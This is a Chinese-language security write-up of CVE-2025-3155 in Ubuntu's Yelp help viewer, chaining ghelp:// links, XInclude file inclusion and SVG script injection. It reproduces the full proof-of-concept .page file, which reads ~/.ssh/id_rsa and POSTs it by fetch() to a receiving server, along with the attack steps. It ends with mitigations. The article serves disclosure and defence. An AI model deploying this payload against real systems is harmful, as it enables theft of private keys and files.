摘要

本報告旨在深入分析 CVE-2025-3155 漏洞,此漏洞影響 Ubuntu 發行版中預設安裝的 Yelp 說明應用程式。 1 此漏洞的核心在於 Yelp 對 ghelp:// URI scheme 的不當處理,導致可透過 XInclude 進行本機檔案包含,並藉由 SVG腳本注入(SVG script injection)進行後續的資料外洩。 1 成功利用此漏洞可能導致未經授權存取系統上的敏感本機檔案。 1 主要的緩解策略是避免開啟來自不可信任來源的自訂 scheme 連結。 1

CVE-2025-3155 漏洞解析:Ubuntu 下 Yelp 如何暴露你的敏感檔案? | 資訊安全新聞

導論

Yelp 是 GNOME 桌面環境的使用者說明應用程式,在 Ubuntu 桌面系統上預設安裝。 1 說明應用程式的主要目的是提供使用者關於作業系統和應用程式操作的指引與文件。 3 識別並分析如 CVE-2025-3155 等漏洞對於維護系統安全至關重要,因為這類漏洞可能被用於未經授權地存取敏感資訊,並突顯理解可能繞過傳統安全措施的攻擊途徑的重要性。 5 本報告將詳細探討此漏洞的技術細節、攻擊情境、概念驗證分析以及緩解措施。

CVE-2025-3155 漏洞之詳細技術分析

A. 受影響的元件與版本

受影響的軟體為 Yelp,即 GNOME 使用者說明應用程式。 1 根據文章所述,受影響的版本包括 Yelp 42.1 以及 Live Ubuntu 22.04.5 LTS。 1 本文的最後更新日期為 2025 年 4 月 9 日。 1 此漏洞存在於長期支援 (LTS) 版本的 Ubuntu 中,突顯即使是穩定版本也需要及時修補和更新的重要性。 1 受影響的 Yelp 特定版本提供了精確的資訊,有助於識別易受攻擊的系統。 1

B. ghelp:// URI Scheme 的作用

Yelp 透過 /usr/share/applications/yelp.desktop 檔案將自身註冊為 ghelp:// URI scheme 的處理程式。 1 URI scheme 是一種標準化的方式來存取資源,允許根據存取資源的類型無縫地調用應用程式。 12 常見的 URI scheme 包括 http://、mailto: 和 file://。 12 開發人員可以建立自訂的 URI scheme,使應用程式能夠處理特定類型的連結,例如用於深度連結行動應用程式的 myapp://。 12 然而,自訂 URI scheme 存在相關的安全考量,例如惡意應用程式可能註冊相同的 scheme 並攔截敏感資料或執行非預期的操作。 17 如 snippet 18 所述,在 iOS 上,沒有機制可以阻止多個應用程式註冊相同的 scheme,這可能導致未定義的行為。Snippet 19 討論了 Android 瀏覽器中 URI scheme 處理的漏洞,包括 JavaScript scheme 中的自我 XSS 和檔案 scheme 中的權限提升,這突顯了不當處理 URI scheme 的一般風險。ghelp:// scheme 的目的是存取本機說明文件,但由於其能夠觸發 Yelp 處理潛在惡意的本機檔案,因此成為一個關鍵的攻擊入口點。對此 scheme 處理方式缺乏足夠的安全控制是此漏洞的一個關鍵因素。

C. 透過 XInclude 進行攻擊:本機檔案包含的機制與能力

此漏洞源於 Yelp 使用 XInclude 將其他檔案的內容嵌入到 .page 檔案中,這些檔案是使用 Mallard schema 的 XML 檔案。 1 XInclude 是一種通用機制,用於透過在「主要」文件中編寫包含標籤(例如 <xi:include>)來自動包含其他文件或其部分內容,從而促進 XML 內容的模組化和重複使用。 20 相關 snippet 解釋了 XInclude 規範 20 、其作為 XML 實體替代方案的模組化目的 21 以及其在各種 XML 處理工具(如 xmllint 和 XSLT 處理器)中的用法 23 。Snippet 24 展示了如何在 DocBook(另一種 XML schema)中使用 XInclude。此漏洞的具體之處在於,由於 Yelp 中啟用了 XInclude 處理,因此可以包含任意本機檔案,而對包含檔案的來源沒有足夠的限制。 1 Snippet 26 明確解釋了 XInclude 如何透過使用 <xi:include> 標籤和 href 屬性包含外部內容來實現檔案檢索,以及如何使用 parse="text" 屬性來包含非 XML 檔案(如 /etc/passwd)。Mallard schema 是一種標記語言,用於編寫 Linux 應用程式的主題導向文件,這些文件通常在 Yelp 中顯示。 3 相關 snippet 詳細說明了 Mallard schema 的結構和目的 3 ,包括 <include> 標籤的使用(當在 Mallard 中使用時,它是 XInclude 命名空間的一部分)。Snippet 3 提供了 Mallard schema 的詳細概述、其元素及其在創建模組化、主題導向文件中的用途。Snippet 3 顯示了一個基本的 Mallard 頁面範例。此漏洞存在於 Yelp 的 XInclude 處理器對本機 .page 檔案的信任。由於未限制包含內容的來源,攻擊者可以強制 Yelp 讀取 Yelp 進程有權限存取的任何檔案。這是本機檔案包含漏洞的典型範例。

D. SVG腳本注入(SVG script injection):利用 Yelp 和 WebKitGtk 中的 XSLT 處理

Yelp 使用 XSLT 應用程式 (yelp-xsl) 將這些 .page 檔案轉換為 HTML,以便由 WebKitGtk 呈現。 1 XSLT 是一種將 XML 文件轉換為其他格式(如 HTML)的語言,它透過將一組範本應用於 XML 結構來實現這一點。yelp-xsl 應用程式直接將 <svg> 標籤及其內容複製到輸出 HTML 中,而未經修改。 1 這使得攻擊者能夠在惡意的 .page 檔案中嵌入 <svg> 標籤內的 <script> 標籤,因為 <script> 標籤是 SVG 中的有效元素。 1 這引發了 SVG <script> 元素的安全隱患,當 SVG 被 Web 瀏覽器或類似 WebKitGtk 的元件呈現時,它可以執行 JavaScript 程式碼。 29 相關 snippet 說明了 SVG <script> 元素 29 ,其中指出其與 HTML <script> 元素的相似性並提供了一個用法範例。相關 snippet 也說明了與 SVG 相關的安全漏洞,包括透過嵌入式 JavaScript 進行跨網站 Script (XSS) 的潛在風險 30 。Snippet 31 討論了電子郵件中的 SVG 附件如何透過嵌入 Script 來用於網路釣魚。Snippet 32 詳細介紹了一種使用 SVG 傳遞惡意 JavaScript 的憑證網路釣魚攻擊。Snippet 33 提到了由於對 SVG Script 標籤的清理不足而導致的 XSS 漏洞。WebKitGtk 是 WebKit 繪製 (Render) 引擎的 GTK+ 埠,Yelp 使用它來顯示轉換後的 HTML。 1 相關 snippet 說明了 WebKitGtk 及其功能 34 ,包括其對 SVG 的支援 36 以及它是一個功能齊全的 Web 繪製 (Render) 引擎,能夠執行 SVG 中的 JavaScript。Snippet 34 顯示了 WebKitWebView 元件的各種功能。Snippet 37 和 38 是 WebKitGtk 的安全公告,表明其具有解決安全漏洞的歷史。yelp-xsl 直接複製 SVG 內容而不進行任何清理,這會產生一個漏洞,允許注入可執行的 JavaScript 程式碼。這突顯了仔細處理動態內容的重要性,以及在整個資料處理管道中考慮安全需求的必要性。

E. 串聯 XInclude 和 SVG Script 以進行資料外洩

當 WebKitGtk 呈現 HTML 時,嵌入的 Script 可以被執行,使得攻擊者能夠將透過 XInclude 包含的內容(例如 /etc/passwd 或 ~/.ssh/id_rsa 的內容)發送到攻擊者控制的遠端伺服器。 1 相關 snippet 2 顯示了 JavaScript 程式碼使用 fetch 將資料發送到攻擊者控制的伺服器的一個範例。概念驗證的 JavaScript 程式碼中使用了 fetch API 來發起 HTTP 請求,將資料作為請求的主體發送到 http://localhost:4000/。 1 文章提到,概念驗證中顯式禁用了 CORS (Cross-Origin Resource Sharing)(很可能是在 localhost:4000 的接收伺服器上),以允許從 ghelp:// 上下文到 localhost 的跨來源請求。 1 CORS (Cross-Origin Resource Sharing) 是一種瀏覽器安全功能,它限制網頁向與提供該網頁的網域不同的網域發出請求。 41 Snippet 41 和 41 解釋了 CORS 在防止未經授權的跨網域請求中的目的和重要性。常見的 CORS 繞過技術包括禁用瀏覽器安全性 41 、使用瀏覽器擴充功能 41 或設定代理伺服器 41 ,這些方法通常用於開發或測試,但由於安全隱患,不建議在生產環境中使用。Snippet 44 和 48 提供了繞過 CORS 的工具和方法範例。簡要提及 CORS 與本機檔案包含之間的關係,注意到由於同源策略,瀏覽器通常會限制從 Web 上下文存取本機檔案。 49 Snippet 49 強調,例如,Firefox 會阻止使用 file:// 協定載入本機檔案時的跨來源請求。然而,在此 Yelp 漏洞中, Script 在透過 ghelp:// scheme 載入的內容的上下文中執行,該 scheme 由本機應用程式處理,可能繞過一些標準的 Web 瀏覽器限制。Snippet 46 也觸及了 CORS 漏洞和情境。攻擊者利用 Web 繪製 (Render) 引擎(透過 WebKitGtk)的全部功能來執行資料外洩。從漏洞的上下文中發出任意 HTTP 請求的能力允許將竊取的資訊發送到網際網路上的任何伺服器。概念驗證中禁用 CORS 突顯了攻擊者常用的一種技術,以促進資料外洩。

攻擊情境之逐步分析

攻擊者可以製作一個惡意的 index.page 檔案。此檔案將包含一個 XInclude 指令,指向一個敏感的本機檔案(例如 ~/.ssh/id_rsa),以及一個嵌入式的 <svg> 標籤,其中包含一個 <script> 元素,該元素包含用於讀取 XInclude 包含的內容並將其發送到遠端伺服器的 JavaScript 程式碼。 1 攻擊者需要將此 index.page 檔案放置到受害者系統上 Yelp 可以存取的位置。文章指出,「下載」資料夾是一個方便的目標。 1 利用 GNOME 啟動的應用程式(包括透過常見方法啟動的 Chrome 和 Firefox 等瀏覽器)的初始目前工作目錄 (CWD) 是使用者主目錄。 1 這允許使用相對路徑或 /proc/self/cwd 來存取「下載」資料夾,而無需知道使用者的特定使用者名稱。 1 攻擊者可以透過社會工程誘騙受害者下載惡意的 index.page 檔案,例如,將其託管在網站上並誘騙使用者點擊下載連結。 1 隨後,受害者的瀏覽器會被重新導向到一個 ghelp:// URL,該 URL 指向受害者「下載」資料夾中下載的惡意檔案的位置,使用的路徑類似於 ghelp:///proc/self/cwd/Downloads/index.page。 1 當 Yelp 透過 ghelp:// scheme 開啟此 index.page 檔案時,XInclude 指令將處理並包含目標敏感檔案的內容。緊隨其後,嵌入的 SVG Script 將在 WebKitGtk 中執行,讀取整個 HTML 主體(現在包含包含的檔案內容),並將此資料發送到攻擊者預先設定的遠端伺服器。 1 文章提到,使用 PoC 中的 /proc/self/cwd/Downloads 路徑繞過了最初的潛在限制,即攻擊者可能需要知道受害者的 Unix 使用者名稱。 1 值得注意的是,現代瀏覽器通常在重新導向到 ghelp:// 等自訂 URI scheme 之前會顯示警告或要求使用者明確許可,這可能會提醒受害者注意可疑活動。 1

概念驗證 (PoC) 之深入檢視

文章描述了 PoC HTML 檔案的功能:它在記憶體中動態創建惡意的 index.page 檔案內容作為字串。 1 此 index.page 檔案經過精心設計,目的為透過使用 XInclude 指令 <include href="/proc/self/cwd/.ssh/id_rsa" xmlns="http://www.w3.org/2001/XInclude"/> 包含 ~/.ssh/id_rsa 來竊取其內容。 1 index.page 還包含一個 SVG 標籤,其中嵌入了一個位於 <svg:script> 標籤內的 JavaScript。此 Script 設定為在 onload 時執行,並將使用 fetch API 將整個 HTML 主體(現在包含 ~/.ssh/id_rsa 的內容)透過 POST 請求發送到 http://localhost:4000/,接收端已禁用 CORS。 1 然後,HTML 檔案透過創建一個 Blob 和一個下載連結,然後以程式方式點擊該連結,模擬將此記憶體中的 index.page 內容下載到使用者的「下載」資料夾。 1 最後,它嘗試使用 location =... 開啟 ghelp:///proc/self/cwd/Downloads URL,這應該會觸發 Yelp 從「下載」資料夾載入惡意的 index.page 檔案。 1 文章提到,PoC 在 Yelp 42.1 和 Live Ubuntu 22.04.5 LTS 上成功測試,表明此漏洞對這些特定版本具有實際影響。 1

以下是 PoC 中惡意 .page 檔案的內容:

XML

<?xml version="1.0" encoding="utf-8"?>
<page xmlns="http://projectmallard.org/1.0/" id="index">
    <info>
        <title type="text"> poc </>
    </info>
    <section>
        <title>
            <include parse="text" xmlns="http://www.w3.org/2001/XInclude" href="/proc/self/cwd/.ssh/id_rsa"/>
        </title>
        <svg:svg xmlns:svg="http://www.w3.org/2000/svg">
            <svg:script> onload=_=>fetch("http://localhost:4000/",{method:"POST",body:document.body.outerHTML,mode:"no-cors"}) </>
        </svg:svg>
    </section>
</page>
說明:

  • <?xml version="1.0" encoding="utf-8"?> : 標準 XML 宣告,指定 XML 版本和字元編碼。
  • <page xmlns="http://projectmallard.org/1.0/" id="index"> : Mallard 頁面的根元素。xmlns 屬性指定 Mallard schema 的 XML 命名空間,id="index" 為此頁面提供唯一識別符。
  • <info> : 包含頁面元資料的區段。
  • <title type="text">poc</title> : 將頁面標題設定為 "poc"。
  • <section> : 代表說明頁面中的一個區段。
  • <title> : 通常包含區段的標題。
  • <include parse="text" xmlns="http://www.w3.org/2001/XInclude" href="/proc/self/cwd/.ssh/id_rsa"/> : 此為漏洞的核心。它使用 XInclude 功能嵌入 href 屬性中指定檔案的內容。
  • xmlns="http://www.w3.org/2001/XInclude": 宣告 XInclude 的 XML 命名空間。
  • href="/proc/self/cwd/.ssh/id_rsa": 指定要包含的檔案路徑。/proc/self/cwd 是指向進程目前工作目錄的符號連結。在此 PoC 中,它嘗試存取受害者家目錄中 .ssh 目錄下的 SSH 私鑰檔案 (id_rsa)。由於 GNOME 啟動的應用程式的初始目前工作目錄是使用者的家目錄,因此這會有效。
  • parse="text": 此屬性告知 XInclude 處理器將包含的檔案內容視為純文字。
  • <svg:svg xmlns:svg="http://www.w3.org/2000/svg"> : 引入 SVG (Scalable Vector Graphics) 環境。xmlns:svg 屬性宣告 SVG 的 XML 命名空間。
  • <svg:script>onload=_=>fetch("http://localhost:4000/",{method:"POST",body:document.body.outerHTML,mode:"no-cors"})</svg:script> : 包含 JavaScript 程式碼的 SVG script 元素。
  • onload=_=>...: 此 JavaScript 程式碼將在 SVG 元素載入時執行。
  • fetch("http://localhost:4000/",{method:"POST",body:document.body.outerHTML,mode:"no-cors"}): 此 JavaScript 程式碼使用 fetch API 向 http://localhost:4000/ 發送 HTTP POST 請求。
  • method:"POST": 指定請求應使用 POST 方法。
  • body:document.body.outerHTML: 將 POST 請求的主體設定為呈現頁面的完整 HTML 內容。這將包含透過 XInclude 包含的 /proc/self/cwd/.ssh/id_rsa 檔案的內容。
  • mode:"no-cors": 此選項用於發出 "no-cors" 請求,通常用於將資料發送到不同來源而無需 CORS 標頭。

總之,這個 .page 檔案嘗試:

  1. 透過利用 Yelp 中的 XInclude 功能,包含受害者 ~/.ssh/id_rsa 檔案的內容。
  2. 嵌入包含 JavaScript Script 的 SVG 圖像。
  3. 在頁面載入時執行 JavaScript 程式碼。
  4. 使用 HTTP POST 請求將完整的 HTML 內容(現在包含 id_rsa 檔案的內容)發送到遠端伺服器 (http://localhost:4000/)。

此 PoC 演示了攻擊者如何透過製作惡意的 .page 檔案並誘騙使用者開啟指向該檔案的 ghelp:// URL 來竊取敏感資訊(例如 SSH 私鑰)。漏洞存在於 Yelp 對 XInclude 的處理及其對包含嵌入式 Script 的 SVG 元素的呈現。

攻擊之限制與潛在挑戰

瀏覽器對於自訂 scheme 重新導向的提示是一個潛在的障礙,可能需要使用者互動並引起懷疑。 1 其他可能影響攻擊可靠性或範圍的限制包括:

  • 使用者意識: 具有安全意識的使用者可能會識別出不尋常的 ghelp:// 連結並避免點擊,或者可能會對自動下載的檔案產生懷疑。
  • 安全軟體: 防毒軟體或 Web 安全軟體可能會偵測到下載具有不尋常內容的檔案,或將發送到 http://localhost:4000/(或真實攻擊者的伺服器)的網路請求標記為可疑。
  • 檔案權限: Yelp 應用程式或其執行的使用者帳戶可能沒有必要的讀取權限,無法透過 XInclude 存取目標敏感檔案(例如 ~/.ssh/id_rsa),儘管使用者主目錄中的檔案通常可以存取。
  • CORS 策略(在真實情境中): 雖然 PoC 使用 localhost 並在接收端禁用 CORS,但真實的攻擊者需要託管具有寬鬆 CORS 策略的伺服器,或者找到其他方法來繞過受害者瀏覽器強制執行的資料外洩請求的 CORS。Snippet 41 和 46 討論了 CORS 的各個方面和繞過技術。
  • 瀏覽器沙箱: 現代瀏覽器實施沙箱機制,可能會限制網頁觸發下載並隨後使用自訂 URI scheme 開啟本機檔案的能力。

揭露與發布時程

與此漏洞生命週期相關的關鍵日期如下:

  • 2024 年 12 月 25 日:該漏洞最初在 gitlab.gnome.org 上報告,表示已負責任地向開發人員揭露。 1
  • 2025 年 3 月 26 日:在 90 天的揭露期限後,該漏洞在 gitlab.gnome.org 上公開揭露,這表明可能尚未在該時間範圍內發布修補程式,或者揭露是根據預先定義的策略進行的。 1
  • 2025 年 4 月 5 日:發布了分析該漏洞的本文,使安全社群更廣泛地了解此問題。 1

緩解策略與建議

文章中建議的主要緩解措施是避免開啟來自不可信任來源的自訂 scheme 連結,特別是 ghelp:// 類型的連結。 1 以下為針對不同利害關係人的更詳細和全面的建議:

  • 終端使用者:
  • 在遇到 ghelp:// 連結時要格外小心,尤其是在這些連結意外出現或來自不可信任的來源(例如電子郵件、網站、訊息)時。
  • 對於任何自動提示下載檔案的網站,尤其是在隨後指示點擊特定連結的情況下,要保持警惕。
  • 保持 Web 瀏覽器更新,以確保最新的安全功能和針對自訂 URI scheme 的警告已到位。
  • 軟體開發人員(尤其是處理 URI scheme 或嵌入 Web 繪製 (Render) 引擎的開發人員):
  • 對所有基於 URI scheme 處理的資料(包括路徑名稱和任何提取或包含的內容)實施嚴格的輸入驗證和清理。
  • 仔細評估使用 XInclude 等功能的安全性影響,尤其是在處理不受信任或可能受攻擊者控制的內容時。考慮預設禁用 XInclude 或將其使用限制在受信任的來源和特定的檔案類型。參考 snippet 51 和 60 ,這些 snippet 討論了 XXE 漏洞 的緩解策略,其中許多策略(例如禁用外部實體)與防止基於 XInclude 的攻擊相關。Snippet 52 特別建議禁用 DTD 和外部實體以防止 XXE。Snippet 53 建議禁用對 XInclude 的支援作為防禦 XXE 的措施。
  • 當使用 WebKitGtk 等 Web 繪製 (Render) 引擎顯示從 XML(或任何其他格式)衍生的內容時,確保 SVG 內容經過適當的清理,以防止執行嵌入式 Script 。定期查看安全文件並更新,以解決已知的漏洞。 37
  • 遵循安全的編碼實務,以避免本機檔案包含等漏洞。 5 Snippet 5 和 11 提供了關於 LFI 漏洞、其攻擊方式和預防技術的背景資訊,例如輸入驗證和避免直接包含使用者控制的路徑。
  • 在適用的情況下實施內容安全策略 (CSP),以限制繪製 (Render) 的 Web 內容的功能,包括將 Script 執行限制在受信任的來源。Snippet 51 提到 CSP 是 XSS 的一種緩解措施,這與此處的 SVG腳本注入(SVG script injection)相關。
  • 系統管理員:
  • 保持 Ubuntu 系統更新最新的安全修補程式,以解決預設應用程式(如 Yelp)和底層函式庫(例如 WebKitGtk )中的已知漏洞。
  • 考慮使用安全監控工具來偵測異常活動,例如嘗試存取敏感檔案或來自 Yelp 等應用程式的意外網路連線。

結論

CVE-2025-3155 漏洞的技術細節在於成功串聯了不當的 ghelp:// URI 處理、透過 XInclude 進行本機檔案包含以及透過 WebKitGtk 繪製 (Render) 引擎中的 SVG腳本注入(SVG script injection)進行任意程式碼執行,最終可能導致資料外洩。此漏洞構成重大風險,特別是可能未經授權存取使用者的敏感資料(如 SSH 私鑰),這可能導致進一步的系統損害。全面性的安全思維至關重要,它需要考慮所有軟體元件(即使是看似無害的應用程式,如說明應用程式)中潛在的漏洞,以及安全處理外部內容和強大的 XML 功能的必要性。持續警惕地識別和緩解此類複雜漏洞以及教育使用者認識和避免潛在的攻擊途徑至關重要。

參考表格

表 1:受影響的軟體與版本

軟體名稱

受影響的版本

作業系統

Yelp

42.1 及更低版本

Ubuntu 22.04.5 LTS (經測試)

表 2:攻擊情境步驟

步驟

描述

1

攻擊者託管惡意網頁,自動下載精心製作的 .page 檔案。

2

受害者瀏覽網頁,觸發下載至 ~/Downloads 資料夾。

3

網頁將受害者重新導向至 ghelp:///proc/self/cwd/Downloads/index.page URL。

4

Yelp 開啟並處理惡意的 index.page 檔案。

5

XInclude 包含目標檔案(例如 ~/.ssh/id_rsa)的內容。

6

嵌入的 SVG Script 執行並將資料外洩至攻擊者的伺服器。

表 3:緩解建議

目標對象

建議

使用者

對 ghelp:// 連結和意外下載保持謹慎。

開發人員 (URI Schemes)

實施嚴格的輸入驗證,並考慮禁用或限制 XInclude。

開發人員 (Web Rendering)

清理 SVG 內容並保持繪製 (Render) 引擎更新。

系統管理員

保持系統修補程式更新,並監控可疑活動。

參考文獻

  1. CVE-2025-3155 writeup - Affecting Ubuntu distros · GitHub
  2. PoC Exploit Reveals SSH Key Exposure via Yelp Vulnerability on ...
  3. archive.flossmanuals.net
  4. INTRODUCTION TO MALLARD - FLOSS Manuals (en)
  5. Local File Inclusion (LFI): Understanding and Preventing LFI Attacks - Bright Security
  6. Web Fundamentals | File Inclusion | Medium - Enes Cayvarlı
  7. File inclusion | The Hacker Recipes
  8. NodeJS - Local File Inclusion 1 (LFI-1) - Security Knowledge Framework
  9. Local File Inclusion | Pentest Vulnerability Wiki - Cobalt
  10. Enhancing Your Understanding of Local File Inclusion (LFI) | by Very Lazy Tech | Medium
  11. Local File Inclusion write-up vulnmachines - Medium
  12. Demystifying URIs and URI Schemes: The Backbone of Web Navigation - softAai Blogs
  13. 3 Rules for Creating URI Schemes that Support App Content Discovery - Branch.io
  14. Guidelines and Registration Procedures for New URI Schemes - IETF Datatracker
  15. URI schemes - MDN Web Docs
  16. protocol - What is a URI Scheme? - Software Engineering Stack Exchange
  17. Defining a custom URL scheme for your app | Apple Developer Documentation
  18. Are custom URL schemes secure? - android - Stack Overflow
  19. insecure:// Vulnerability Analysis of URI Scheme Handling in Android Mobile Browsers - Network and Distributed System Security (NDSS) Symposium
  20. XInclude> - Wikipedia
  21. XML Inclusions (XInclude) Version 1.1 - W3C
  22. XML Inclusions (XInclude) Version 1.0 (Second Edition) - W3C
  23. XInclude Processing in XSLT - XML.com
  24. 1.3. Modularize Your Document with XIncludes
  25. Using XInclude - Apache Xerces
  26. Lab: Exploiting XInclude to retrieve files | Web Security Academy
  27. Mallard: State of the Duck – The Gist - GNOME Blogs
  28. How to use Emacs for XML editing - Fedora Project Wiki
  29. developer.mozilla.org
  30. Search Results - CVE
  31. Phishing Emails Using SVG Attachments to Evade Detection - Client Portal AskSLU
  32. Scripting Vector Grifts: SVG phishing with smuggled JS and adversary in the middle tactics
  33. Filter Bypass Allows Cross-Site Scripting (XSS) · Advisory · mattkrick/sanitize-svg - GitHub
  34. WebKit2GTK+ Reference Manual: WebKitWebView
  35. Planet WebKitGTK
  36. WebKit plus SVG
  37. WebKitGTK and WPE WebKit Security Advisory WSA-2024-0007
  38. WebKitGTK+ Security Advisory WSA-2016-0005 - The WebKitGTK Project
  39. WebKitGTK Security Advisories
  40. WebKit
  41. What is CORS and how to bypass it? - Requestly
  42. What is CORS, and Why Does It Keep Coming Up in My Projects? - Concord USA
  43. How to Solve CORS Issues or Bypass It for Development - Beeceptor
  44. Bypass CORS - Fiddler Everywhere - Documentation
  45. Exploiting trust: Weaponizing permissive CORS configurations - Outpost24
  46. What is CORS (cross-origin resource sharing)? Tutorial & Examples | Web Security Academy - PortSwigger
  47. Four Common CORS Errors and How to Fix Them - Descope
  48. How to: CORS — Part 3: By-Pass CORS | by Marcin Sodkiewicz | Medium
  49. Cross-Origin Request Blocked when loading local file - Stack Overflow
  50. (CVE-2025-3155) Arbitrary file read by abusing ghelp scheme
  51. Preventing 7 Critical Types of Software Attacks - Bright Security
  52. XML External Entity Prevention - OWASP Cheat Sheet Series
  53. 5 common web attacks: How to exploit and defend against them - HackTheBox
  54. PREVENTING XXE ATTACKS
  55. K000141357: libxml2 vulnerability CVE-2024-25062 - My F5
  56. How to Identify and Mitigate XXE Vulnerabilities? | by Indusface | Medium
  57. XML External entity prevention for Java - Semgrep
  58. XML Risks and Mitigations - MITRE Corporation
  59. Understanding XML External Entity Injection (XXE) Attacks - Redfox Security
  60. XML Parser Vulnerabilities - USENIX